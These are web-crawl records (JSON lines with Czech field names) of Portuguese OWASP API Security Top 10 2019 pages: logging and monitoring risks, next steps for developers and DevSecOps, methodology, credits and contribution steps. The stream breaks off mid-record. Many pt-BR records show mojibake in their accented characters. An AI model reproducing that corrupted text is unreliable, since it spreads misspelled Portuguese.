"h1": "API10:2019 Insufficient Logging & Monitoring", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xaa-insufficient-logging-monitoring/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Insufficient Logging & Monitoring"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API10:2019 Insufficient Logging & Monitoring\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **2** | PrevalĂŞncia **3** : Detecção **1** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| Atacantes podem tirar proveito de pouco log e monitoramento para abusar de sistemas sem serem notados. | Sem log e monitoramento, ou log e monitoramento insuficiente, ĂŠ quase impossĂ­vel rastrear atividades suspeitas e dar respostas Ă elas tem tempo hĂĄbil. | Sem visibilidade do que estĂĄ ocorrendo de atividades maliciosas, atacantes possuem tempo para comprometer completamente sistemas. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nA API estĂĄ vulnerĂĄvel se:\n\n- NĂŁo produz qualquer tipo de log, ou se o nĂ­vel de log nĂŁo ĂŠ configurado adequadamente, ou ainda, se as mensagens de log nĂŁo incluem informaçþes suficientes.\n- A integridade do log nĂŁo ĂŠ garantida (Ex.: [Injeção de log](https://owasp.org/www-community/attacks/Log_Injection) ).\n- Logs nĂŁo estĂŁo em contĂ­nuo monitoramento.\n- A infraestrutura da API nĂŁo ĂŠ continuamente monitorada.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nChaves de acesso de administração da API sĂŁo vazados em um repositĂłrio pĂşblico. O proprietĂĄrio do repositĂłrio ĂŠ notificado por e-mail a respeito do provĂĄvel vazamento, mas, atĂŠ que uma ação seja realizada em reposta ao incidente se passaram 48 horas. Em razĂŁo de logs insuficientes, a companhia nĂŁo ĂŠ capaz de identificar quais informaçþes foram acessadas durante o perĂ­odo por atores maliciosos.\n\n### CenĂĄrio #2\n\nUma plataforma de compartilhamento de vĂ­deos foi atingida por um ataque de *credential stuffing* de larga escala. Mesmo com os logins que falharam sendo logados, nĂŁo houveram alertas disparados durante o tempo de duração do ataque. Como uma resposta Ă reclamação dos usuĂĄrios, os logs de API foram analisados e o ataque foi detectado. A companhia fez um anĂşncio pĂşblico solicitando aos seus usuĂĄrios que façam atualização de suas senhas, e reportam o incidente Ă s autoridades regulatĂłrias.\n\n## Como prevenir\n\n- Faça log de todas tentativas de logon mal sucedidas, acessos negados e erros de validação de entradas de usuĂĄrios.\n- Logs devem ser escritos em um formato apropriado para serem consumidos por soluçþes de gerenciamento de logs, e devem incluir detalhes suficientes para ajudar a identificar o ator malicioso.\n- Logs devem ser manipulados como dados sensĂ­veis, e sua integridade deve ser garantida tanto em trânsito como em repouso.\n- Configure o sistema de monitoramento a monitorar continuamente a infraestrutura, rede e o funcionamento da API.\n- Utilize um SIEM ( *Security Information and Event Management* ) para agregar e gerenciar logs oriundos de todos componentes da arquitetura da API e seus *hosts* .\n- Configure painĂŠis de controle e alertas, possibilitando de atividades suspeitas sejam detectadas e respondidas de forma breve.\n\n## ReferĂŞncias\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://owasp.org/www-project-proactive-controls/)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Externas\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 3498, "slov": 469, "odkazu": 169, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:52", "sha256": "a6e6171f87ee0680ef42926f5efdf71bdc64adf04b44525bb783cd69ec079d19", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xb0-next-devs/", "titulek": "PrĂłximos passos para Desenvolvedores - OWASP API Security Top 10", "h1": "PrĂłximos passos para Desenvolvedores", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xb0-next-devs/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "PrĂłximos passos para Desenvolvedores"}], "markdown": "# PrĂłximos passos para Desenvolvedores\n\nA tarefa de criar e manter software seguro, ou, corrigir software existente, pode ser uma tarefa difĂ­cil. APIs nĂŁo sĂŁo diferentes.\n\nNĂłs acreditamos que a educação e conscientização sĂŁo fatores chave para escrever software seguro. Tudo o que ĂŠ necessĂĄrio para alcançar este objetivo depende de **estabelecer e usar procedimentos de segurança reprodutĂ­veis e padronizar controles de segurança**.\n\nO OWASP possui um grande nĂşmero de fontes abertas para endereçar a segurança desde o princĂ­pio dos projetos. Por favor, visite a [pĂĄgina de projetos do OWASP](https://www.owasp.org/index.php/Category:OWASP_Project) para uma extensa lista de projetos disponĂ­veis.\n\n| | |\n| --- | --- |\n| **Educação** | VocĂŞ pode iniciar lendo [os materiais de educação do OWASP](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) de acordo com sua ĂĄrea ou interesse. Para aprendizado mĂŁo-na-massa, nĂłs adicionamos **crAPI** - **C**ompletely **R**idiculous **API** (API Ridiculamente VulnerĂĄvel) em [nosso roadmap](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map). Enquanto isso, vocĂŞ pode praticar segurança de aplicaçþes web utilizando o [OWASP DevSlop Pixi Module](https://devslop.co/Home/Pixi), um aplicativo web vulnerĂĄvel e um serviço API com a intenção de ensinar usuĂĄrio como testar aplicaçþes web modernas e tambĂŠm APIs com relação a problemas de segurança. VocĂŞ pode tambĂŠm participar das [conferĂŞncias AppSec do OWASP](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) com sessĂľes de treinamento, ou ainda [juntar-se a seu capĂ­tulo local](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Requisitos de Segurança** | Segurança deve fazer parte de qualquer projeto desde o princĂ­pio. Ao fazer a escolha de requisitos, ĂŠ importante definir o que a \"segurança\" representa para o projeto. O OWASP recomenda o uso do [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) como um guia para atribuir requisitos de segurança. Se vocĂŞ trabalha com *outsourcing*, considere o projeto [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex), o qual deve ser adaptado de acordo com as leis e regulamentos locais. |\n| **Arquitetura de Segurança** | Seguraça deve permanecer uma preocupação durante todas as fases de um projeto. O [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) ĂŠ um bom ponto de partida e um guia sobre como o *design* de segurança durante a fase de arquitetura. Junto de vĂĄrios outros, vocĂŞ encontrarĂĄ [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) e tambĂŠm [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md) com abordagem de aspetos de APIs. |\n| **Controle de Segurança PadrĂŁo** | A adoção de padrĂľes de controles de segurança reduzem o risco da introdução de fraquezas durante o desenvolvimento da lĂłgica especĂ­fica do negĂłcio no software. Fora o fato que frameworks modernos incluĂ­rem por padrĂŁo controles de segurança efetivos, considere o [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) que entrega uma boa visĂŁo geral sobre quais controles de segurança vocĂŞ deve avaliar e incluir em seu projeto. O OWASP tambĂŠm entrega algumas bibliotecas e ferramentas que podem ser Ăşteis, como validação de controles. |\n| **Ciclo de Vida do Software Seguro** | VocĂŞ pode utilizar o [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) para melhorar seu processo enquanto constrĂłi APIs. Muitos outros projetos do OWASP possuem valor para ajudĂĄ-lo com as diferentes fases do desenvolvimento de suas API, por ex.: o [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 4076, "slov": 470, "odkazu": 169, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:01", "sha256": "1156640aca21d40d9bac01615c454a0d754ad532de3018501cd8e3d87f004ffa", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xb1-next-devsecops/", "titulek": "PrĂłximos passos para DevSecOps - OWASP API Security Top 10", "h1": "PrĂłximos passos para DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xb1-next-devsecops/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "PrĂłximos passos para DevSecOps"}], "markdown": "# PrĂłximos passos para DevSecOps\n\nConsiderando sua importância na arquitetura de aplicaçþes modernas, a construção de APIs seguras ĂŠ crucial. A segurança nĂŁo pode ser negligenciadas, e deve fazer parte de todo o ciclo de vida de desenvolvendo. Executar verificaçþes e testes de penetração anualmente nĂŁo ĂŠ mais suficiente.\n\nDevSecOps deve se juntar aos esforços de desenvolvimento, facilitando a execução de testes contĂ­nuos de segurança durante todo o ciclo de desenvolvimento de software. O objetivo ĂŠ melhorar o *pipeline* de desenvolvimento com automação de segurança, sem contudo impactar negativamente a velocidade do desenvolvimento.\n\nEm caso de dĂşvidas, mantenha-se informado, e reveja o [Manifesto DevSecOps](https://www.devsecops.org/) frequentemente.\n\n| | |\n| --- | --- |\n| **CompreensĂŁo do modelo de ameaça** | Teste de prioridades vem do modelo da ameaça. Se vocĂŞ nĂŁo possui um, considere usar os projetos [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project), e tambĂŠm [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) como entrada. Envolver a equipe de desenvolvimento pode ajudar a tornĂĄ-los mais conscientes da segurança. |\n| **CompreensĂŁo do SDLC** | Junte-se ao time de desenvolvimento para melhor compreensĂŁo do ciclo de desenvolvimento de software (SDLC - Software Development Life Cycle). Sua contribuição com testes de segurança contĂ­nuos deve ser compatĂ­vel com pessoas, processos e ferramentas. Todos devem concordar com o processo, assim evita-se atritos e resistĂŞncias. |\n| **EstratĂŠgias de testes** | Uma vez que seu trabalho nĂŁo deve impactar negativamente a velocidade do desenvolvimento, vocĂŞ deve escolher com cuidado a melhor (simples, rĂĄpida e precisa) tĂŠcnica de verificação de requisitos de segurança. Consulte os projetos [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) e [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) que podem ser excelentes fontes de requisitos de segurança funcionais e nĂŁo funcionais. Outras Ăłtimas fontes de consulta sĂŁo os [projetos](http://devsecops.github.io/) e [ferramentas](https://github.com/devsecops/awesome-devsecops) similares ao oferecidos pela [comunidade DevSecOps](http://devsecops.org). |\n| **Alcançando cobertura e precisĂŁo** | VocĂŞ ĂŠ a ponte entre os times de desenvolvimento e operaçþes. Para alcançar cobertura, nĂŁo dĂŞ atenção somente a funcionalidade mas tambĂŠm Ă orquestração. Trabalhe prĂłximo ao dois times desde o inĂ­cio e assim vocĂŞ consegue otimizar seu tempo e esforço. VocĂŞ deve tambĂŠm encontrar um momento onde o essencial da segurança seja continuamente verificado. |\n| **Comunique claramente problemas** | Contribua com menos ou nenhum atrito. Distribua os problemas encontrados em tempo hĂĄbil, utilizando as ferramentas que os times utilizam em sua rotina (nunca documentos PDF). Junte-se ao time de desenvolvimento para a correção de problemas encontrados. Construa oportunidades para educĂĄ-los, descrevendo claramente as fraquezas e como estas podem ser exploradas, incluindo cenĂĄrios de ataques que demonstre cenĂĄrios reais. |", "znaku_textu": 3324, "slov": 404, "odkazu": 162, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:09", "sha256": "398019eb9defc2953b6b573969ea7af34d0a413cbb7c5e573f7cf90245195829", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xd0-about-data/", "titulek": "Dados e Metodologia - OWASP API Security Top 10", "h1": "Dados e Metodologia", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xd0-about-data/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Dados e Metodologia"}, {"uroven": 2, "text": "VisĂŁo Geral"}, {"uroven": 2, "text": "Metodologia e Dados"}], "markdown": "# Dados e Metodologia\n\n## VisĂŁo Geral\n\nComo o setor de segurança de aplicação nĂŁo se concentrou especificamente em mais recentes arquiteturas de aplicativos, na qual as API possuem um papel importante, compilar uma lista dos dez mais crĂ­ticos riscos de segurança de API, baseados em uma chamada pĂşblica por informaçþes, teria sido uma ĂĄrdua tarefa. Apesar de nĂŁo ter havido esta chamada por dados, a lista dos dez mais crĂ­ticos ainda ĂŠ baseada em dados pĂşblicos e com contribuiçþes de *experts* em segurança, alĂŠm de discussĂľes abertas da comunidade.\n\n## Metodologia e Dados\n\nNa primeira fase, dados disponĂ­veis publicamente sobre incidentes de segurança envolvendo APIs, os quais foram coletados por *experts* em segurança, e entĂŁo foram revisados e categorizados. Estas informaçþes foram coletadas de plataformas de *bug bounty* e bancos de dados de vulnerabilidades durante um ano inteiro, como propĂłsito estatĂ­stico.\n\nNa fase seguinte profissionais de segurança com experiĂŞncia em testes de penetração foram questionados a colaborar com suas listas de dez maiores ameaças Ă segurança de API.\n\nEntĂŁo a [Metodologia OWASP para classificação de risco](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) foi utilizada para a elaboração da anĂĄlise de risco. Os resultados foram discutidos e revisados entre os profissionais de segurança. Para consideraçþes nesse sentido, por favor, consulte o item [Riscos de Segurança de API](../0x10-api-security-risks/).\n\nO primeiro rascunho do projeto ĂŠ resultado de um consenso entre os dados estatĂ­sticos adquiridos na primeira fase com a lista entregue pelos profissionais de segurança. Este rascunho foi submetido Ă apreciação e revisĂŁo a um segundo grupo de profissionais de segurança com relevante experiĂŞncia em segurança de APIs.\n\nO projeto OWASP API Security Top 10 2019 entĂŁo foi apresentado pela primeira vez no evento OWASP Global AppSec Tel Aviv (Maio 2019), e desde entĂŁo, estĂĄ disponĂ­vel no GitHub para discussĂľes e contribuiçþes.\n\nA lista de colaboradores estĂĄ disponĂ­vel na seção [Agradecimentos](../0xd1-acknowledgments/).", "znaku_textu": 2132, "slov": 304, "odkazu": 158, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:18", "sha256": "bd6fcc6ad4e2c6a4abc541ce22548d7272b9445c78e64d7140ebdbfd273282da", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xd1-acknowledgments/", "titulek": "Agradecimentos - OWASP API Security Top 10", "h1": "Agradecimentos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xd1-acknowledgments/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Agradecimentos"}, {"uroven": 2, "text": "Agradecimentos aos colaboradores"}, {"uroven": 2, "text": "Tradução para o portuguĂŞs do Brasil"}], "markdown": "# Agradecimentos\n\n## Agradecimentos aos colaboradores\n\nGostarĂ­amos de agradecer os seguintes colaboradores que contribuiram publicamente via GitHub ou outros meios:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123\n\n## Tradução para o portuguĂŞs do Brasil\n\n- Raphael Hagi\n- Bruno Barbosa\n- Eduardo Bellis", "znaku_textu": 655, "slov": 72, "odkazu": 157, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:27", "sha256": "8630163fcbfa42d6e0681a90be698f196e1439b7f2bd0b691e6c33d5c5e21080", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/CONTRIBUTING/", "titulek": "Como contribuir - OWASP API Security Top 10", "h1": "Como contribuir", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/CONTRIBUTING/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Como contribuir"}, {"uroven": 2, "text": "Modelo de branching"}, {"uroven": 2, "text": "Contribuindo"}], "markdown": "# Como contribuir\n\nQuando quiser contribuir com este repositĂłrio, por favor, antes discuta a mudança que deseja fazer enviando a questĂŁo com o proprietĂĄrio do repositĂłrio antes de efetivar a mudança. Correçþes de digitação ou de refraseamento para melhor compreensĂŁo NÃO requerem discussĂŁo com o proprietĂĄrio.\n\n## Modelo de *branching*\n\nEste repositĂłrio mantĂŠm dois *branches* principais com um tempo de vida indefinido:\n* `master` ĂŠ o *branch* padrĂŁo e que portanto reflete a Ăşltima *release*.\n* `develop` ĂŠ o *branch* padrĂŁo refletindo as Ăşltimas modificaçþes para o prĂłximo *release*. Quando o *branch* `develop` alcança um estĂĄgio estĂĄvel e estĂĄ pronto para liberação de uma versĂŁo nova e final, todas as modificaçþes desde sĂŁo unificadas de volta no *branch* `master`.\n\nUma variadade de *branches* de suporte sĂŁo utilizadas para cuidar de desenvolvimentos paralelos. Estes tipos de *branches* possuem um tempo de vida limitado, atĂŠ serem eventualmente e definitivamente removidos.\n\n## Contribuindo\n\nContribuiçþes a este repositĂłrio sĂŁo bem-vindas. Para facilitar o gerencialmente, por favor, siga os passos abaixo descritos:\n\n1. Faça o *fork* do repositĂłrio na sua conta.\n2. Faça o clone desse repositĂłrio localmente.\n `git clone https://github.com/YOU/API-Security.git`\n3. Crie um novo *branch* baseado no `develop` do projeto original. (Ex.: `fix/foreword-section` ) `git checkout develop && git checkout -b fix/foreword-section`\n4. Aplique suas modificaçþes conforme necessĂĄrio.\n\nPor favor, sempre tenha atenção para seguir nossa convenção de estilos.\n\nEmbora exista um arquivo [`.editorconfig`](https://github.com/OWASP/API-Security/blob/master/.editorconfig) na raĂ­z do repositĂłrio, seu editor pode talvez nĂŁo suportĂĄ-lo. Para aprender mais sobre o [EditorConfig](https://editorconfig.org/) e o suporte a IDEs e editores, consulta o website: https://editorconfig.org/.\n\n1. Faça o commit da suas mdificaçþes.\n2. Verifique os arquivos modificados e adicione apenas estes (ex.: artefatos de compilação NÃO DEVEM estar sob controle de versĂŁo).\n3. A primeira linha da mensagem de *commit* deve informar uma breve descrição das modificaçþes. VocĂŞ pode detalhar melhor as mudanças no corpo do *commit*.\n4. Faça o *push* das mudanças para seu repositĂłrio pĂşblico.\n `git push origin fix/foreword-section`\n5. Abra um *pull request* do seu *branch* `fix/foreword-section` para o *branch* `develop` do repositĂłrio original do projeto.", "znaku_textu": 2437, "slov": 350, "odkazu": 159, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:21", "sha256": "8dbb915301b34f93aa830347bbdab917902c8b6814fdb3aa739fdfb138dd296f", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/API-Security/blob/master/.editorconfig", "https://editorconfig.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 3512759, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:32", "sha256": "fd38366870a8975801b1946b0d3236f637dbfeea9d99dcfd7bc5f5b0903e916e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x00-header/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nOs Dez Problemas de Segurança Mais Críticos em APIs\n\n29 de Maio, 2019\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 271, "slov": 33, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:01", "sha256": "c36121b260730dc3af81d35ca06655af4bcbaf1e6b6f5033ebc5a9eba1664096", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x00-notice/", "titulek": "Nota - OWASP API Security Top 10", "h1": "Nota", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x00-notice/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Nota"}], "markdown": "# Nota\n\nEsta é a versão de texto do OWASP API Security Top 10, usada como fonte para a\nversão oficial distribuída em formato PDF - Portable Document Format.\n\nContribuições para o projeto tais como comentários, correções ou traduções devem\nser feitas aqui. Para mais detalhes sobre [Como Contribuir](../../../../CONTRIBUTING/), por favor\nconsulte a secção [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 420, "slov": 57, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:24", "sha256": "96e57bd7f53fb5018960c94631e655e5739f732b5e985a3afd9ff1e73d770445", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x00-toc/", "titulek": "Tabela de Conteúdos - OWASP API Security Top 10", "h1": "Tabela de Conteúdos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x00-toc/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Tabela de Conteúdos"}], "markdown": "# Tabela de Conteúdos\n\n- [Tabela de Conteúdos](./)\n- [Sobre a OWASP](../0x01-about-owasp/)\n- [Prefácio](../0x02-foreword/)\n- [Introdução](../0x03-introduction/)\n- [Notas da Versão](../0x04-release-notes/)\n- [Riscos de Segurança em APIs](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2019](../0x11-t10/)\n- [API1:2019 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Broken User Authentication](../0xa2-broken-user-authentication/)\n- [API3:2019 Excessive Data Exposure](../0xa3-excessive-data-exposure/)\n- [API4:2019 Lack of Resources & Rate Limiting](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Mass Assignment](../0xa6-mass-assignment/)\n- [API7:2019 Security Misconfiguration](../0xa7-security-misconfiguration/)\n- [API8:2019 Injection](../0xa8-injection/)\n- [API9:2019 Improper Assets Management](../0xa9-improper-assets-management/)\n- [API10:2019 Insufficient Logging & Monitoring](../0xaa-insufficient-logging-monitoring/)\n- [O Que Se Segue Para Programadores](../0xb0-next-devs/)\n- [O que Se Segue Para DevSecOps](../0xb1-next-devsecops/)\n- [Metodologia e Dados](../0xd0-about-data/)\n- [Agradecimentos](../0xd1-acknowledgments/)", "znaku_textu": 1282, "slov": 133, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:33", "sha256": "9ded45fd2c34fc08b2a886c1a8ca30d121068021b29d2444f713e3b06a48733c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x01-about-owasp/", "titulek": "Sobre a OWASP - OWASP API Security Top 10", "h1": "Sobre a OWASP", "popis": "The Ten 